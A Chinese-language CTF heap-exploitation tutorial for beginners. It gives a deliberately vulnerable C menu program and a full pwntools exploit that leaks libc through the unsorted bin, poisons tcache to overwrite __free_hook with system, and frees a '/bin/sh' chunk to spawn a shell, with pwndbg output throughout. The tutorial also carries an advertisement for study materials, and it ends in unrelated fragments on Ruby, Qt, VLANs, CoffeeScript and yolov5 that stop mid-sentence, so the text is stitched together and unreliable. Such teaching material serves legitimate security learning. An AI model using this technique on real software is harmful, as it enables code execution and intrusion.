浅说一下pwn堆,并用一个简单的例子具体说明,给刚入坑堆的小朋友说的一些思路。
堆,你可以看成一个结构体数组,然后数组里每个元素都会开辟一块内存来存储数据,那么这块用来存储数据的内存就是堆。
结构体数组在BSS段上,其内容就是堆的地址,也就是堆的指针。
堆有很多题型 什么堆溢出,off by null , uaf 等。
核心的话主要是学思想,所有人都知道我要得到shell,cat flag。但是要怎么去干得有个过程,
比如我们做栈题,很容易知道我要劫持栈的返回去执行任意地址,填入shellcode什么的。
堆的话也是一样。
就是用system去执行/bin/sh。越复杂的问题往往只需要很简单的道理。
所以堆到底要怎么去执行。
我们可以把某一个函数的内容改成system,下次调用该函数即是使用system,
再在别的堆里面放入/bin/sh字符串,然后再用刚刚修改的函数,使用已经放入字符串的堆。
即可执行system(/bin/sh)了
一般修改__free_hook,使其内容变成system然后再free掉放有/bin/sh的堆
我用一个很简单的例子去一步一步简单剖析。
这里我用一个很简单的例子去一步一步简单剖析。
先给出源码和gcc编译,使用的是Ubuntu18
gcc -o lizi lizi.c
#include<stdio.h>
#include<stdlib.h>
char *heap[0x20];
int num=0;
void create()
{
if(num>=0x20)
{
puts("no more");
return;
}
int size;
puts("how big");
scanf("%d",&size);
heap[num]=(char *)malloc(size);
num++;
}
void show(){
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no have things\n");
} else {
printf("Content:");
printf("%s",heap[idx]);
}
}
void dele()
{
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no have things\n");
} else {
free(heap[idx]);
heap[idx]=NULL;
num--;
}
}
void edit()
{
int size;
int idx;
char buf[4];
puts("idx");
(read(0, buf, 4));
idx = atoi(buf);
if (!heap[idx]) {
puts("no have things\n");
} else {
puts("how big u read");
scanf("%d",&size);
puts("Content:");
read(0,heap[idx],size);
}
}
void menu(void){
puts("1.create");
puts("2.dele");
puts("3.edit");
puts("4.show");
}
void main()
{
int choice;
while(1)
{
menu();
scanf("%d",&choice);
switch(choice)
{
case 1:create();break;
case 2:dele();break;
case 3:edit();break;
case 4:show();break;
default:puts("error");
}
}
}
我们也不用ida了,直接源码分析,很明显在edit处能知道我们可以修改堆大小,
而导致的堆溢出修改下一个堆。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
我们可以直接使用unsortedbin,申请较大的堆,再free掉,再申请个小堆,
使其从unsortedbin里面切割堆,这样,你申请的小堆就会有一些unsortedbin里面的东西。
(具体请看unsortedbin介绍)
结合exp介绍:
from pwn import *
r=process('./lizi')
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level='debug'
def add(size):
r.sendlineafter("4.show\n",'1')
r.sendlineafter("idx\n",str(size))
def dele(idx):
r.sendlineafter("4.show\n",'2')
r.sendlineafter("idx\n",str(idx))
def edit(idx,size,con):
r.sendlineafter("4.show\n",'3')
r.sendlineafter("idx\n",str(idx))
r.sendlineafter("how big u read\n",str(size))
r.sendafter("Content:\n",con)
def show(idx):
r.sendlineafter("4.show\n",'4')
r.sendlineafter("idx\n",str(idx))
add(0x420)
add(0x420)
add(0x420)
dele(1)
add(0x70)
show(2)
r.recvuntil("Content:")
base=u64(r.recv(6)+'\x00'*2)-0x3ec090
print(hex(base))
free=base+libc.sym['__free_hook']
sys=base+libc.sym['system']
add(0x70)
dele(3)
edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))
add(0x70)
add(0x70)
edit(3,0x10,"/bin/sh\x00")
edit(4,0x10,p64(sys))
dele(3)
r.interactive()
首先菜单不用多说,很简单的交互,写好就行
然后申请3个堆,为了保证能进入unsortedbin,得大于tcache的大小,然后free掉1号堆
unsortedbin
all: 0x55ce36aa7aa0 —▸ 0x7f4f9036aca0 (main_arena+96) ◂— 0x55ce36aa7aa0
可以看到1号堆已经进入到unsortedbin了
然后申请一个小堆
pwndbg> x/32gx 0x55697b2cfaa0
0x55697b2cfaa0: 0x0000000000000000 0x0000000000000081
0x55697b2cfab0: 0x00007fb8eada6090 0x00007fb8eada6090
0x55697b2cfac0: 0x000055697b2cfaa0 0x000055697b2cfaa0
0x55697b2cfad0: 0x0000000000000000 0x0000000000000000
0x55697b2cfae0: 0x0000000000000000 0x0000000000000000
0x55697b2cfaf0: 0x0000000000000000 0x0000000000000000
0x55697b2cfb00: 0x0000000000000000 0x0000000000000000
0x55697b2cfb10: 0x0000000000000000 0x0000000000000000
0x55697b2cfb20: 0x0000000000000000 0x00000000000003b1
0x55697b2cfb30: 0x00007fb8eada5ca0 0x00007fb8eada5ca0
0x55697b2cfb40: 0x0000000000000000 0x0000000000000000
0x55697b2cfb50: 0x0000000000000000 0x0000000000000000
0x55697b2cfb60: 0x0000000000000000 0x0000000000000000
0x55697b2cfb70: 0x0000000000000000 0x0000000000000000
0x55697b2cfb80: 0x0000000000000000 0x0000000000000000
0x55697b2cfb90: 0x0000000000000000 0x0000000000000000
查看申请堆的地址可以发现,11行处是已经之前free掉的1号堆,这个申请的堆会在unsortedbin里面切割
然后会有残留地址,然后我们把他show出来就可以计算一波libc地址了。
算出system,__free_hook的libc,
接着为什么要多申请一个堆,这里就是堆溢出的打法了,
在刚刚申请的堆后面再建一个堆,然后通过free掉修改内容指向__free_hook地址
再把内容改成system就可以把free当做system用了;
在edit(2,0x100,'a'*0x70+p64(0xa0)+p64(0xa1)+p64(free))后面打个断点
GDB看看
pwndbg> bin
tcachebins
0x80 [ 1]: 0x55f37c653b30 —▸ 0x7f4497d688e8 (__free_hook) ◂— ...
fastbins
0x20: 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0
unsortedbin
all: 0x55f37c653ba0 —▸ 0x7f4497d66ca0 (main_arena+96) ◂— 0x55f37c653ba0
smallbins
empty
largebins
empty
会发现tcache里面已经有__free_hook了,因为已经把内容改成__free_hook的地址了。
然后申请2个堆,把tcache里面的__free_hook拿出来。
你也可以验证一下、
pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
0x55f37bb59000 0x55f37bb5a000 r-xp 1000 0
pwndbg> x/32gx 0x5597ecced000+0x202040
0x5597eceef040 <heap>: 0x00005597ee8ef680 0x0000000000000000
0x5597eceef050 <heap+16>: 0x00005597ee8efab0 0x00005597ee8efb30
0x5597eceef060 <heap+32>: 0x00007f7694f2e8e8 0x0000000000000000
0x5597eceef070 <heap+48>: 0x0000000000000000 0x0000000000000000
0x202040是heap的偏移,可以从ida里面找到。
申请出来的堆,__free_hook在4号堆
pwndbg> x/32gx 0x00007f7694f2e8e8
0x7f7694f2e8e8 <__free_hook>: 0x0000000000000000 0x0000000000000000
0x7f7694f2e8f8 <next_to_use>: 0x0000000000000000 0x0000000000000000
成功证明,
然后已知4号堆是__free_hook了,那么将4号堆的内容改成system的地址,不就可以了吗
然后再把3号堆写入/bin/sh
然后free(实际上已经变成system)掉3号堆(实际上已经是/bin/sh)了
成功取得shell
做堆题主要是要有一个总体想法就是要把什么变成system去执行shell,或者也有别的,比如malloc等。
这里只是一个总体思路,毕竟拿到堆题如果一条总想法都没有的话,就只能干坐着了。
更多靶场实验练习、网安学习资料,请点击这里>>
我在我的rails应用程序中安装了来自github.com的acts_as_versioned插件,但有一段代码我不完全理解,我希望有人能帮我解决这个问题class_eval我知道block内的方法(或任何它是什么)被定义为类内的实例方法,但我在插件的任何地方都找不到定义为常量的CLASS_METHODS,而且我也不确定是什么here,并且有问题的代码从lib/acts_as_versioned.rb的第199行开始。如果有人愿意告诉我这里的内幕,我将不胜感激。谢谢-C 最佳答案 这是一个异端。http://en.wikipedia
按照目前的情况,这个问题不适合我们的问答形式。我们希望答案得到事实、引用或专业知识的支持,但这个问题可能会引发辩论、争论、投票或扩展讨论。如果您觉得这个问题可以改进并可能重新打开,visitthehelpcenter指导。关闭9年前。我最近开始学习Ruby,这是我的第一门编程语言。我对语法感到满意,并且我已经完成了许多只教授相同基础知识的教程。我已经写了一些小程序(包括我自己的数组排序方法,在有人告诉我谷歌“冒泡排序”之前我认为它非常聪明),但我觉得我需要尝试更大更难的东西来理解更多关于Ruby.关于如何执行此操作的任何想法?
我在Ruby中遇到了一个关于Dir[]和File.join()的简单程序,blobs_dir='/path/to/dir'Dir[File.join(blobs_dir,"**","*")].eachdo|file|FileUtils.rm_rf(file)ifFile.symlink?(file)我有两个困惑:首先,File.join(@blobs_dir,"**","*")中的第二个和第三个参数是什么意思?其次,Dir[]在Ruby中有什么用?我只知道它等价于Dir.glob(),但是,我对Dir.glob()确实不是很清楚。 最佳答案
1.回顾.TransportServicepublicclassTransportServiceextendsAbstractLifecycleComponentTransportService:方法:1publicfinalTextendsTransportResponse>voidsendRequest(finalTransport.Connectionconnection,finalStringaction,finalTransportRequestrequest,finalTransportRequestOptionsoptions,TransportResponseHandlerT>
目录一.大致如下常见问题:(1)找不到程序所依赖的Qt库version`Qt_5'notfound(requiredby(2)CouldnotLoadtheQtplatformplugin"xcb"in""eventhoughitwasfound(3)打包到在不同的linux系统下,或者打包到高版本的相同系统下,运行程序时,直接提示段错误即segmentationfault,或者Illegalinstruction(coredumped)非法指令(4)ldd应用程序或者库,查看运行所依赖的库时,直接报段错误二.问题逐个分析,得出解决方法:(1)找不到程序所依赖的Qt库version`Qt_5'
我是Ruby的新手,但过去两周我一直在对Chef测试进行大量研究。该测试使用ChefSpec和Fauxhai,但它看起来不是很“像ruby”,我希望社区能给我一些编码风格的建议。有没有更好的方法来编写这样的嵌套循环?Recipe/foo/recipes/default.rbpackage"foo"doaction:installendRecipe/foo/spec/default_spec.rbrequire'chefspec'describe'foo::default'doplatforms={"debian"=>['6.0.5'],"ubuntu"=>['12.04','10.04
假设一个使用类变量的简单ruby程序,classHolder@@var=99defHolder.var=(val)@@var=valenddefvar@@varendend@@var="toplevelvariable"a=Holder.newputsa.var我猜结果应该是99,但输出不是99。我想知道为什么。由于类变量的范围是类,我假设@@var="toplevelvariable"行不会影响类中的变量。 最佳答案 @@var是Holder的类变量。而顶层的@@var不是Holder的同名类变量@@var,是你在创建类Obj
一文解决关于VLAN所有的疑惑VLAN基本概念为什么需要VLAN?怎么在交换机上划分VLAN,VLAN的工作原理有了子网,已经隔离了广播,还需要VLAN干啥?只进行子网划分,不进行VLAN划分VLAN划分与子网划分附加VLAN信息的方法VLAN划分交换机的端口类型(Access和Trunk)一、访问链接二、汇聚链接汇聚链接VLAN间通信为什么要进行VLAN间通信?路由器实现VLAN间通信路由器和交换机的连接方式通信细节三层交换机实现VLAN间通信加速VLAN间通信三层交换机与路由器三层交换机路由器路由器和交换机配合构建LAN的实例使用VLAN设计局域网的特点VLAN增加网络的灵活性不使用VLA
我正在尝试了解CoffeeScript变量的范围。根据文档:ThisbehavioriseffectivelyidenticaltoRuby'sscopeforlocalvariables.但是,我发现它的工作方式不同。在CoffeeScript中a=1changeValue=->a=3changeValue()console.log"a:#{a}"#Thisdisplays3在ruby中a=1deffa=3endputsa#Thisdisplays1有人能解释一下吗? 最佳答案 Ruby的局部变量(以[a-z_]开头)arerea
关于yolov5训练时参数workers和batch-size的理解yolov5训练命令workers和batch-size参数的理解两个参数的调优总结yolov5训练命令python.\train.py--datamy.yaml--workers8--batch-size32--epochs100yolov5的训练很简单,下载好仓库,装好依赖后,只需自定义一下data目录中的yaml文件就可以了。这里我使用自定义的my.yaml文件,里面就是定义数据集位置和训练种类数和名字。workers和batch-size参数的理解一般训练主要需要调整的参数是这两个:workers指数据装载时cpu所使